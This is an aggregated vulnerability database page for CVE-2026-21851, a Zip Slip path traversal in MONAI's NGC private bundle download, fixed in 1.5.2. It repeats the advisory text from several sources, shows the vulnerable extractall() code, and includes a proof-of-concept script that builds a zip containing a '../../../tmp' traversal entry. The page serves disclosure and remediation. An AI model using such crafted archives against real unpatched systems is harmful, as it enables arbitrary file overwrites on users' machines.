Every CVE Search/ Get API key

CVE-2026-21851

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

5.3 MediumFix available

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
None

Exploit likelihood

0.36%Up 0.3 points since Jan 8, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

Record
CVE-2026-21851
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-1039 5.3

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

Record
EUVD-2026-1039
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-9rg3-9pvr-6p27 5.3

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |


PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def…
Record
GHSA-9rg3-9pvr-6p27
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 5.3

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

Record
CVE-2026-21851
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 5.3

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

Record
CVE-2026-21851
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-9rg3-9pvr-6p27 5.3

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |


PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def…
Record
GHSA-9rg3-9pvr-6p27
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVPYSEC-2026-1678 5.3

MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)


Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |


PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def…
Record
PYSEC-2026-1678
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
monai
PyPI
through 1.5.1
1.5.2
monai
PyPI
before 1.5.2, plus listed versions
0.0.10.1.00.2.00.3.00.4.0
Show 37 moreShow less
0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc11.5.11.5.2rc1
1.5.2

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-21851 is a medium vulnerability (CVSS 5.3) in Project-monai Monai, published January 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 29th percentile. Fixed in monai 1.5.2.

References

This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open